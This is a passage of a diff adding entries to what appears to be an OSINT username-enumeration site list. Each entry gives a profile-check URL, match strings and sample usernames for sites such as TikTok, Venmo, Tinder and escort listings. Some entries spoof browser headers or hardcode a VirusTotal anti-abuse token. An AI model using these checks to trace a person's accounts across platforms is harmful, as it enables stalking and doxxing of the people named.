302, + "known": [ + "blue", + "John" + ], + "cat": "social" + }, + { + "name": "Tanuki.pl", + "uri_check": "https://tanuki.pl/profil/{account}", + "e_code": 200, + "e_string": "Dołączył", + "m_string": "Nie ma takiego użytkownika", + "m_code": 404, + "known": [ + "ania", + "avellana" + ], + "cat": "hobby" + }, + { + "name": "TAPiTAG", + "uri_check": "https://account.tapitag.co/tapitag/api/v1/{account}", + "uri_pretty": "https://account.tapitag.co/{account}", + "e_code": 200, + "e_string": "User details are Showing", + "m_string": "The rf number is not valid", + "m_code": 200, + "known": [ + "JonathanWallace", + "gearoidconsidine" + ], + "cat": "business" + }, + { + "name": "Tappy", + "uri_check": "https://api.tappy.tech/api/profile/username/{account}", + "uri_pretty": "https://www.tappy.tech/{account}", + "e_code": 200, + "e_string": "user_id", + "m_string": "Profile of username Not Found", + "m_code": 200, + "known": [ + "alexborrelli", + "domocann" + ], + "cat": "business" + }, + { + "name": "Taringa", + "uri_check": "https://www.taringa.net/{account}", + "e_code": 200, + "e_string": " en Taringa!", + "m_string": "Colectiva en Taringa!", + "m_code": 301, + "known": [ + "jocaxav", + "engendrometal" + ], + "cat": "social" + }, + { + "name": "Taringa Archived Profile", + "uri_check": "https://archive.org/wayback/available?url=https://www.taringa.net/{account}", + "uri_pretty": "https://web.archive.org/web/2/taringa.net/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "farantic", + "elrubius" + ], + "cat": "archived" + }, + { + "name": "taskrabbit", + "uri_check": "https://www.taskrabbit.com/profile/{account}/about", + "e_code": 200, + "e_string": "’s Profile", + "m_string": "", + "m_code": 302, + "known": [ + "john", + "sam" + ], + "cat": "business" + }, + { + "name": "Teamtreehouse", + "uri_check": "https://teamtreehouse.com/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "Oops, Something went missing", + "m_code": 404, + "known": [ + "john" + ], + "cat": "coding" + }, + { + "name": "Teddygirls", + "uri_check": "https://teddysgirls.net/models/{account}", + "e_code": 200, + "e_string": ";s exclusive page to subscribe to her", + "m_string": "The page you were looking for doesn't exist", + "m_code": 404, + "known": [ + "jaycee-starr", + "chubbychick94" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Teespring", + "uri_check": "https://commerce.teespring.com/v1/stores?slug={account}", + "uri_pretty": "https://{account}.creator-spring.com", + "e_code": 200, + "e_string": "sellerToken", + "m_string": "{\"errors\":{\"store\":[\"not found\"]}}", + "m_code": 404, + "known": [ + "missmoonified", + "honey" + ], + "cat": "business" + }, + { + "name": "Teknik", + "uri_check": "https://user.teknik.io/{account}", + "e_code": 200, + "e_string": "Public Key", + "m_string": "The user does not exist", + "m_code": 200, + "known": [ + "red", + "bob" + ], + "cat": "tech" + }, + { + "name": "Telegram", + "uri_check": "https://t.me/{account}", + "e_code": 200, + "e_string": "tgme_page_title", + "m_string": "noindex, nofollow", + "m_code": 200, + "known": [ + "alice", + "giovanni" + ], + "cat": "social" + }, + { + "name": "Teletype", + "uri_check": "https://teletype.in/@{account}", + "e_code": 200, + "e_string": "class=\"layout__content m_main blog\"", + "m_string": "class=\"error\"", + "m_code": 404, + "known": [ + "mart11", + "anotherj" + ], + "cat": "blog" + }, + { + "name": "Tellonym", + "uri_check": "https://api.tellonym.me/profiles/name/{account}", + "uri_pretty": "https://tellonym.me/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"code\":\"NOT_FOUND\"", + "m_code": 404, + "known": [ + "jane", + "jimmy" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Tenor", + "uri_check": "https://tenor.com/users/{account}", + "e_code": 200, + "e_string": "class=\"ProfilePage page\"", + "m_string": "class=\"error-page container page\"", + "m_code": 404, + "known": [ + "maggie342", + "d33jay23" + ], + "cat": "images" + }, + { + "name": "TETR.IO", + "uri_check": "https://ch.tetr.io/api/users/{account}", + "uri_pretty": "https://ch.tetr.io/u/{account}", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 404, + "known": [ + "icly", + "5han" + ], + "cat": "gaming" + }, + { + "name": "TF2 Backpack Examiner", + "uri_check": "http://www.tf2items.com/id/{account}/", + "e_code": 200, + "e_string": "TF2 Backpack -", + "m_string": "", + "m_code": 302, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "thegatewaypundit", + "uri_check": "https://www.thegatewaypundit.com/author/{account}/", + "e_code": 200, + "e_string": "summary", + "m_string": "Not found, error 404", + "m_code": 404, + "known": [ + "patti", + "joehoft" + ], + "cat": "political" + }, + { + "name": "theguardian", + "uri_check": "https://www.theguardian.com/profile/{account}", + "e_code": 200, + "e_string": "<h2 class=\"dcr-1ln6kec\">", + "m_string": "<title>Page Not Found | The Guardian", + "m_code": 404, + "known": [ + "minna-salami", + "johnnaughton" + ], + "cat": "news" + }, + { + "name": "themeforest", + "uri_check": "https://themeforest.net/user/{account}", + "e_code": 200, + "e_string": "s profile on ThemeForest", + "m_string": "Page Not Found | ThemeForest", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "art" + }, + { + "name": "Thetattooforum", + "uri_check": "https://www.thetattooforum.com/members/{account}/", + "e_code": 200, + "e_string": "Insert This Gallery", + "m_string": "We’re sorry", + "m_code": 500, + "known": [ + "mixdop", + "modifyielts" + ], + "cat": "art" + }, + { + "name": "thoughts", + "uri_check": "https://thoughts.com/members/{account}/", + "e_code": 200, + "e_string": "Page not found", + "m_code": 404, + "known": [ + "myownpersonalthoughts", + "danwions" + ], + "cat": "hobby" + }, + { + "name": "Threads.net", + "uri_check": "https://www.threads.net/@{account}", + "e_code": 200, + "e_string": ") on Threads", + "m_string": "Threads", + "m_code": 200, + "known": [ + "s_novoselov", + "oliveralexanderdk" + ], + "cat": "social" + }, + { + "name": "TikTok", + "uri_check": "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{account}", + "uri_pretty": "https://www.tiktok.com/@{account}?lang=en", + "e_code": 200, + "e_string": "author_url", + "m_string": "Something went wrong", + "m_code": 400, + "known": [ + "gordonramsayofficial", + "pookiebear73" + ], + "cat": "social" + }, + { + "name": "Tilde.zone (Mastodon Instance)", + "uri_check": "https://tilde.zone/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://tilde.zone/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "ben", + "lunatic" + ], + "cat": "social" + }, + { + "name": "Tinder", + "uri_check": "https://tinder.com/@{account}", + "e_code": 200, + "e_string": ") | Tinder", + "m_string": "Tinder | Dating, Make Friends & Meet New People", + "m_code": 200, + "known": [ + "Alexey", + "peter", + "john" + ], + "cat": "dating" + }, + { + "name": "Tindie", + "uri_check": "https://www.tindie.com/accounts/check_username/", + "uri_pretty": "https://www.tindie.com/stores/{account}/", + "post_body": "username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"errors\": [\"Username taken!\"]", + "m_string": "\"valid\": true", + "m_code": 200, + "known": [ + "tehrabbitt", + "dekunukem" + ], + "cat": "shopping" + }, + { + "name": "TipeeeStream", + "uri_check": "https://www.tipeeestream.com/v3.0/pages/{account}", + "uri_pretty": "https://www.tipeeestream.com/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\":\"Not found\"", + "m_code": 404, + "known": [ + "gagzzz", + "larebouille" + ], + "cat": "finance" + }, + { + "name": "Tooting.ch (Mastodon Instance)", + "uri_check": "https://tooting.ch/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://tooting.ch/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "mikebeganyi", + "Zugi" + ], + "cat": "social" + }, + { + "name": "Topcoder", + "uri_check": "https://api.topcoder.com/v5/members/{account}", + "uri_pretty": "https://profiles.topcoder.com/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"message\":\"Member with handle:", + "m_code": 404, + "known": [ + "chinvib66", + "mwakanosya" + ], + "cat": "coding" + }, + { + "name": "toyhou.se", + "uri_check": "https://toyhou.se/{account}", + "e_code": 200, + "e_string": "display-user", + "m_string": "We can't find that page!", + "m_code": 404, + "known": [ + "22RII", + "honey" + ], + "cat": "hobby" + }, + { + "name": "tradingview", + "uri_check": "https://www.tradingview.com/u/{account}/", + "e_code": 200, + "e_string": "— Trading Ideas &", + "m_string": "Page not found — TradingView", + "m_code": 404, + "known": [ + "liam", + "john" + ], + "cat": "finance" + }, + { + "name": "trakt", + "uri_check": "https://trakt.tv/users/{account}", + "e_code": 200, + "e_string": "s profile - Trakt", + "m_string": "The page you were looking for doesn't exist (404) - Trakt.tv", + "m_code": 404, + "known": [ + "john", + "anne" + ], + "cat": "video" + }, + { + "name": "TRAKTRAIN", + "uri_check": "https://traktrain.com/{account}", + "e_code": 200, + "e_string": "id=\"userId\"", + "m_string": "class=\"title-404\"", + "m_code": 404, + "known": [ + "terrotuga", + "fr4ud" + ], + "cat": "music" + }, + { + "name": "Trello", + "uri_check": "https://trello.com/1/Members/{account}", + "uri_pretty": "https://trello.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "

    Oh no! 404!

    ", + "m_code": 404, + "known": [ + "naranjasan", + "jane" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "tripadvisor", + "uri_check": "https://www.tripadvisor.com/Profile/{account}", + "e_code": 200, + "e_string": "Contributions", + "m_string": "This page is on vacation", + "m_code": 404, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "TruckersMP", + "uri_check": "https://truckersmp.com/user/search?search={account}", + "e_code": 200, + "e_string": "class=\"team-v2\"", + "m_string": "

    Could not find any member using these credentials

    ", + "m_code": 200, + "known": [ + "JohnnySOBA", + "Vasya_Run" + ], + "cat": "gaming" + }, + { + "name": "TruckersMP.Ru", + "uri_check": "https://truckersmp.ru/{account}", + "e_code": 200, + "e_string": "class=\"b-user-page\"", + "m_string": "class=\"b-handler-error-404\"", + "m_code": 404, + "known": [ + "ramanbardashevich", + "Sanya193Rus" + ], + "cat": "gaming" + }, + { + "name": "Truth Social", + "uri_check": "https://truthsocial.com/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://truthsocial.com/@{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Record not found\"", + "m_code": 404, + "known": [ + "realdonaldtrump", + "ScottAdamsTruth" + ], + "cat": "social" + }, + { + "name": "TryHackMe", + "uri_check": "https://tryhackme.com/api/user/exist/{account}", + "uri_pretty": "https://tryhackme.com/r/p/{account}", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "user", + "goyalyuval15" + ], + "cat": "tech" + }, + { + "name": "Tryst", + "uri_check": "https://tryst.link/escort/{account}", + "e_code": 200, + "e_string": "Caters to
    ", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "lpatterson32", + "kansasgirl69" + ], + "cat": "xx NSFW xx" + }, + { + "name": "tumblr", + "uri_check": "https://{account}.tumblr.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "avatar", + "m_string": "There's nothing here", + "m_code": 404, + "known": [ + "test", + "test1" + ], + "cat": "images" + }, + { + "name": "tunefind", + "uri_check": "https://www.tunefind.com/api-request/account/profile?userName={account}", + "uri_pretty": "https://www.tunefind.com/user/profile/{account}", + "e_code": 200, + "e_string": "\"user-stats-engagement\":", + "m_string": "\"code\":\"not_found\"", + "m_code": 404, + "known": [ + "baywolfmusic", + "mrcerny18", + "4evryng" + ], + "cat": "music" + }, + { + "name": "Twitcasting", + "uri_check": "https://twitcasting.tv/{account}", + "e_code": 200, + "e_string": "Live History", + "m_string": "Not Found", + "m_code": 302, + "known": [ + "yuno___nico", + "2_t0_" + ], + "cat": "social" + }, + { + "name": "Twitch", + "uri_check": "https://twitchtracker.com/{account}", + "uri_pretty": "https://twitch.tv/{account}/", + "e_code": 200, + "e_string": "Overview</a>", + "m_string": "<title>404 Page Not Found", + "m_code": 404, + "known": [ + "summit1g", + "cohhcarnage" + ], + "cat": "gaming" + }, + { + "name": "Twitter archived profile", + "uri_check": "http://archive.org/wayback/available?url=https://twitter.com/{account}", + "uri_pretty": "https://web.archive.org/web/2/https://twitter.com/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "jack", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Twitter archived tweets", + "uri_check": "http://archive.org/wayback/available?url=https://twitter.com/{account}/status/*", + "uri_pretty": "https://web.archive.org/web/*/https://twitter.com/{account}/status/*", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "jack", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "twoplustwo", + "uri_check": "https://forumserver.twoplustwo.com/ajax.php?do=usersearch", + "uri_pretty": "https://forumserver.twoplustwo.com/search.php", + "post_body": "securitytoken=guest&do=usersearch&fragment={account}", + "e_code": 200, + "e_string": "userid=", + "m_string": "", + "m_code": 404, + "known": [ + "redsox", + "adam" + ], + "cat": "hobby" + }, + { + "name": "twpro", + "uri_check": "https://twpro.jp/{account}", + "e_code": 200, + "e_string": "おとなりさん", + "m_string": "をご確認ください。", + "m_code": 404, + "known": [ + "wsise47", + "tsukiusa630" + ], + "cat": "social" + }, + { + "name": "Ubisoft", + "uri_check": "https://discussions.ubisoft.com/user/{account}", + "e_code": 200, + "e_string": "| Ubisoft Discussion Forums", + "m_string": "You seem to have stumbled upon a page that does not exist.", + "m_code": 404, + "known": [ + "fizzle_fuze", + "th05324" + ], + "cat": "gaming" + }, + { + "name": "Udemy", + "uri_check": "https://www.udemy.com/user/{account}/", + "e_code": 200, + "e_string": "| Udemy", + "m_string": "Online Courses - Learn Anything, On Your Schedule | Udemy", + "m_code": 301, + "known": [ + "stephane-maarek", + "lizbrown3" + ], + "cat": "tech" + }, + { + "name": "UEF CONNECT", + "uri_check": "https://uefconnect.uef.fi/en/{account}/", + "e_code": 200, + "e_string": "profile-page-header__info", + "m_string": "Page not found - UEFConnect", + "m_code": 404, + "known": [ + "heli.mutanen", + "mette.heiskanen" + ], + "cat": "business" + }, + { + "name": "uid", + "uri_check": "http://uid.me/{account}", + "e_code": 200, + "e_string": "- uID.me", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "Ultimate Guitar", + "uri_check": "https://www.ultimate-guitar.com/u/{account}", + "e_code": 200, + "e_string": " | Ultimate-Guitar.Com", + "m_string": "Oops! We couldn't find that page.", + "m_code": 410, + "known": [ + "LYNX-Music", + "Mikhailo", + "MeGaDeth2314" + ], + "cat": "hobby" + }, + { + "name": "Ultras Diary", + "uri_check": "http://ultrasdiary.pl/u/{account}/", + "e_code": 200, + "e_string": "Mecze wyjazdowe:", + "m_string": "Ile masz wyjazdów?", + "m_code": 404, + "known": [ + "janek", + "kowal" + ], + "cat": "hobby" + }, + { + "name": "Unlisted Videos", + "uri_check": "https://unlistedvideos.com/search.php?user={account}", + "e_code": 200, + "e_string": "Date submitted", + "m_string": "content=\"\"/>", + "m_code": 200, + "known": [ + "emudshit", + "hirumaredx" + ], + "cat": "archived" + }, + { + "name": "unsplash", + "uri_check": "https://unsplash.com/@{account}", + "e_code": 200, + "e_string": "| Unsplash Photo Community", + "m_string": "Hm, the page you were looking for doesn't seem to exist anymore.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "images" + }, + { + "name": "Untappd", + "uri_check": "https://untappd.com/user/{account}/", + "e_code": 200, + "e_string": "class=\"cont user_profile\"", + "m_string": "class=\"search_404\"", + "m_code": 404, + "known": [ + "Welcomenetguy", + "patpatcarney" + ], + "cat": "social" + }, + { + "name": "USA Life", + "uri_check": "https://usa.life/{account}", + "e_code": 200, + "e_string": "Please log in to like, share and comment", + "m_string": "Sorry, page not found", + "m_code": 302, + "known": [ + "abaynes79", + "not1face" + ], + "cat": "social" + }, + { + "name": "utip.io", + "uri_check": "https://utip.io/creator/profile/{account}", + "uri_pretty": "https://utip.io/{account}", + "e_code": 200, + "e_string": "\"userName\"", + "m_string": "Not a valid web service key", + "m_code": 404, + "known": [ + "honey", + "chloe" + ], + "cat": "finance" + }, + { + "name": "uwu.ai", + "uri_check": "https://{account}.uwu.ai/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "property=\"twitter:card\"", + "m_string": "Sorry, the requested page could not be found.", + "m_code": 404, + "known": [ + "elite", + "citruciel" + ], + "cat": "social" + }, + { + "name": "Uwumarket", + "uri_check": "https://uwumarket.us/collections/{account}", + "e_code": 200, + "e_string": "collection-hero__text-wrapper", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "saki", + "aicandii" + ], + "cat": "business" + }, + { + "name": "vapenews", + "uri_check": "https://vapenews.ru/profile/{account}", + "e_code": 200, + "e_string": "Профиль", + "m_string": "404", + "m_code": 404, + "known": [ + "igor", + "vladimir" + ], + "cat": "hobby" + }, + { + "name": "Venmo", + "uri_check": "https://account.venmo.com/u/{account}", + "e_code": 200, + "e_string": "profileInfo_username__", + "m_string": "Sorry, the page you requested does not exist!", + "m_code": 404, + "known": [ + "John-Goolsby-8", + "kate-mura" + ], + "cat": "finance" + }, + { + "name": "Vero", + "uri_check": "https://vero.co/{account}", + "e_code": 200, + "e_string": "name=\"username", + "m_string": "

    Not Found

    ", + "m_code": 200, + "known": [ + "alex", + "johnny" + ], + "cat": "art" + }, + { + "name": "vibilagare", + "uri_check": "https://www.vibilagare.se/users/{account}", + "e_code": 200, + "e_string": "Profil på vibilagare.se", + "m_string": "Sidan hittades inte |", + "m_code": 404, + "known": [ + "lars01", + "sven" + ], + "cat": "misc" + }, + { + "name": "VIEWBUG", + "uri_check": "https://www.viewbug.com/member/{account}", + "e_code": 200, + "e_string": "class=\"top-profile-since\"", + "m_string": "id=\"missing-this\"", + "m_code": 404, + "known": [ + "soulcraft", + "aychmb" + ], + "cat": "hobby" + }, + { + "name": "Vimeo", + "uri_check": "https://vimeo.com/{account}", + "e_code": 200, + "e_string": "og:type", + "m_string": "VimeUhOh", + "m_code": 404, + "known": [ + "john", + "alice" + ], + "cat": "video" + }, + { + "name": "Vine", + "uri_check": "https://vine.co/api/users/profiles/vanity/{account}", + "uri_pretty": "https://vine.co/{account}", + "e_code": 200, + "e_string": "userId", + "m_string": "That record does not exist", + "m_code": 404, + "known": [ + "TomHarlock", + "Seks" + ], + "cat": "video" + }, + { + "name": "VIP-blog", + "uri_check": "http://{account}.vip-blog.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "blog : ", + "m_string": "Blog inexistant", + "m_code": 200, + "known": [ + "sarah", + "brahim01" + ], + "cat": "blog" + }, + { + "name": "VirusTotal", + "uri_check": "https://www.virustotal.com/ui/users/{account}", + "uri_pretty": "https://www.virustotal.com/gui/user/{account}", + "headers": { + "Accept-Ianguage": "en-US", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0", + "X-Tool": "vt-ui-main", + "X-VT-Anti-Abuse-Header": "MTAxOTFwMDcxOTEtWkc5dWRDQmlaU0JsZG2scy5xNzE4Mjc1NDI0LjUzMw==" + }, + "e_code": 200, + "e_string": "\"data\"", + "m_string": "\"code\": \"NotFoundError\"", + "m_code": 404, + "known": [ + "cyber", + "cybersecstu" + ], + "cat": "misc" + }, + { + "name": "visnesscard", + "uri_check": "https://my.visnesscard.com/Home/GetCard/{account}", + "uri_pretty": "https://my.visnesscard.com/{account}", + "e_code": 200, + "e_string": "end_point", + "m_string": "card_id\": 0", + "m_code": 200, + "known": [ + "Lisa-Gordon", + "Bill-Schaeffer" + ], + "cat": "business" + }, + { + "name": "Vivino", + "uri_check": "https://www.vivino.com/users/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "video" + }, + { + "name": "VK", + "uri_check": "https://vk.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:125.0) Gecko/20100101 Firefox/125.0" + }, + "e_code": 200, + "e_string": "content=\"profile\"", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "ches_ches", + "mike.kidlazy" + ], + "cat": "social" + }, + { + "name": "Vkl.world (Mastodon Instance)", + "uri_check": "https://vkl.world/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://vkl.world/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "king", + "aniver" + ], + "cat": "social" + }, + { + "name": "Vmst.io (Mastodon Instance)", + "uri_check": "https://vmst.io/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://vmst.io/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "vmstan", + "honestdave" + ], + "cat": "social" + }, + { + "name": "Voice123", + "uri_check": "https://voice123.com/api/providers/search/{account}", + "uri_pretty": "https://voice123.com/{account}", + "e_code": 200, + "e_string": "user_id", + "m_string": "[]", + "m_code": 200, + "known": [ + "dottovuu", + "maheshsaha1992" + ], + "cat": "hobby" + }, + { + "name": "Voices.com", + "uri_check": "https://www.voices.com/profile/{account}/", + "e_code": 200, + "e_string": "Last Online

    ", + "m_string": "Try going back to the previous page or see below for more options", + "m_code": 301, + "known": [ + "briankirchoff", + "bryankopta" + ], + "cat": "business" + }, + { + "name": "vsco", + "uri_check": "https://vsco.co/{account}/gallery", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "permaSubdomain", + "m_string": "\"error\":\"site_not_found\"}", + "m_code": 404, + "known": [ + "sam", + "becca" + ], + "cat": "social" + }, + { + "name": "W3Schools", + "uri_check": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"message\":\"Profile does not exists or not visible\"", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "tech" + }, + { + "name": "Wakatime", + "uri_check": "https://wakatime.com/@{account}", + "e_code": 200, + "e_string": ") - WakaTime", + "m_string": "404: Not Found", + "m_code": 404, + "known": [ + "jake", + "alimirzayev" + ], + "cat": "coding" + }, + { + "name": "Warmerise", + "uri_check": "https://warmerise.com/profile/{account}", + "e_code": 200, + "e_string": "<div id='profile_photo", + "m_string": "<h2>Page Not Found", + "m_code": 404, + "known": [ + "alfrevid", + "thepro" + ], + "cat": "gaming" + }, + { + "name": "warriorforum", + "uri_check": "https://www.warriorforum.com/members/{account}.html", + "e_code": 200, + "e_string": "Last Activity:", + "m_string": "Oops | Warrior Forum -", + "m_code": 400, + "known": [ + "alex", + "discrat" + ], + "cat": "hobby" + }, + { + "name": "watchmemore.com", + "uri_check": "https://api.watchmemore.com/api4/profile/{account}/", + "uri_pretty": "https://watchmemore.com/{account}/", + "e_code": 200, + "e_string": "displayName", + "m_string": "notExists", + "m_code": 400, + "known": [ + "medroxy", + "nodjev" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Watchmyfeed", + "uri_check": "https://watchmyfeed.com/{account}", + "e_code": 200, + "e_string": "SEND ME A TIP", + "m_string": "", + "m_code": 302, + "known": [ + "jennifer-ann", + "shay-loveless" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Wattpad", + "uri_check": "https://www.wattpad.com/api/v3/users/{account}", + "uri_pretty": "https://www.wattpad.com/user/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error_code\":", + "m_code": 400, + "known": [ + "newadult", + "Test123" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "waytohey", + "uri_check": "https://waytohey.com/{account}", + "e_code": 200, + "e_string": "Send message</span>", + "m_string": "Unfortunately, this page doesn't exist.", + "m_code": 404, + "known": [ + "igor", + "anna" + ], + "cat": "social" + }, + { + "name": "Weasyl", + "uri_check": "https://www.weasyl.com/~{account}", + "e_code": 200, + "e_string": "profile — Weasyl", + "m_string": "This user doesn't seem to be in our database.", + "m_code": 404, + "known": [ + "weasyl", + "test" + ], + "cat": "images" + }, + { + "name": "Weblancer", + "uri_check": "https://www.weblancer.net/users/{account}/", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "\"user\":", + "m_string": "\"page\":\"/404\"", + "m_code": 404, + "known": [ + "kevin", + "WebArtyom" + ], + "cat": "social" + }, + { + "name": "Weblate", + "uri_check": "https://hosted.weblate.org/user/{account}/", + "e_code": 200, + "e_string": "class=\"user-page text-center\"", + "m_string": "

    Page Not Found

    ", + "m_code": 404, + "known": [ + "login836039", + "Datura0808" + ], + "cat": "hobby" + }, + { + "name": "weebly", + "uri_check": "https://{account}.weebly.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "
    ", + "m_string": "404 - Page Not Found", + "m_code": 404, + "known": [ + "dave", + "john" + ], + "cat": "misc" + }, + { + "name": "wego", + "uri_check": "https://wego.social/{account}", + "e_code": 200, + "e_string": "Following</span>", + "m_string": "Sorry, page not found!", + "m_code": 302, + "known": [ + "mmish2", + "Lisa_M_S" + ], + "cat": "political" + }, + { + "name": "weheartit", + "uri_check": "https://weheartit.com/{account}", + "e_code": 200, + "e_string": " on We Heart It", + "m_string": " (404)", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "Weibo", + "uri_check": "https://weibo.com/ajax/profile/info?custom={account}", + "uri_pretty": "https://weibo.com/{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "

    400 Bad Request

    ", + "m_code": 400, + "known": [ + "guoailun12", + "fbb0916" + ], + "cat": "social" + }, + { + "name": "WeTransfer", + "uri_check": "https://{account}.wetransfer.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "workspaceName", + "m_string": "", + "m_code": 307, + "known": [ + "mark", + "joe" + ], + "cat": "misc" + }, + { + "name": "Wikidot", + "uri_check": "http://www.wikidot.com/user:info/{account}", + "e_code": 200, + "e_string": "

    ", + "m_string": "
    User does not exist.
    ", + "m_code": 200, + "known": [ + "jack", + "allen" + ], + "cat": "social" + }, + { + "name": "Wikimapia", + "uri_check": "https://wikimapia.org/user/register/?check=username&value={account}", + "uri_pretty": "https://wikimapia.org/user/tools/users_rating/?username={account}", + "e_code": 200, + "e_string": "\"ok\":false", + "m_string": "\"ok\":true", + "m_code": 200, + "known": [ + "bubnilka", + "Teresa" + ], + "cat": "social" + }, + { + "name": "Wikipedia", + "uri_check": "https://meta.wikimedia.org/w/api.php?action=query&format=json&list=globalallusers&aguprefix={account}&agulimit=100", + "uri_pretty": "https://en.wikipedia.org/wiki/User:{account}", + "e_code": 200, + "e_string": "{\"id\":", + "m_string": ":[]}}", + "m_code": 200, + "known": [ + "sector051", + "webbreacher" + ], + "cat": "news" + }, + { + "name": "Wimkin-PublicProfile", + "uri_check": "https://wimkin.com/{account}", + "e_code": 200, + "e_string": "is on WIMKIN", + "m_string": " The page you are looking for cannot be found.", + "m_code": 404, + "known": [ + "alex", + "smith", + "boomer" + ], + "cat": "political" + }, + { + "name": "Wireclub", + "uri_check": "https://www.wireclub.com/users/{account}", + "e_code": 200, + "e_string": "Chat With", + "m_string": "People - Wireclub", + "m_code": 301, + "known": [ + "deae", + "cheerfulsarcasm", + "braydenskiresort" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "Wishlistr", + "uri_check": "https://www.wishlistr.com/sign-up/?rs=checkUserName&rsargs[]={account}", + "uri_pretty": "https://www.wishlistr.com/{account}/", + "e_code": 200, + "e_string": "+:var res = \"", + "m_string": "+:var res = parseInt(0);", + "m_code": 200, + "known": [ + "bodymodgrrrl", + "kethistle" + ], + "cat": "shopping" + }, + { + "name": "wordnik", + "uri_check": "https://www.wordnik.com/users/{account}", + "e_code": 200, + "e_string": "Welcome,", + "m_string": "Wordnik: Page Not Found", + "m_code": 404, + "known": [ + "elle", + "john" + ], + "cat": "gaming" + }, + { + "name": "WordPress.com (Deleted)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 403, + "e_string": "\"message\":\"API calls to this endpoint have been disabled.\"", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "ahegyes", + "santinamichelle" + ], + "cat": "blog" + }, + { + "name": "WordPress.com (Private)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 403, + "e_string": "\"message\":\"User cannot access this private blog.\"", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "webbreacher", + "mary" + ], + "cat": "blog" + }, + { + "name": "WordPress.com (Public)", + "uri_check": "https://public-api.wordpress.com/rest/v1.1/sites/{account}.wordpress.com", + "uri_pretty": "https://{account}.wordpress.com", + "e_code": 200, + "e_string": "\"ID\":", + "m_string": "\"error\":\"unknown_blog\"", + "m_code": 404, + "known": [ + "dukeupress", + "krolowasuperstarblog" + ], + "cat": "blog" + }, + { + "name": "WordPress.org (Forums)", + "uri_check": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{account}", + "uri_pretty": "https://wordpress.org/support/users/{account}/", + "e_code": 200, + "e_string": "\"error\":\"That username is already in use.", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "jane", + "david" + ], 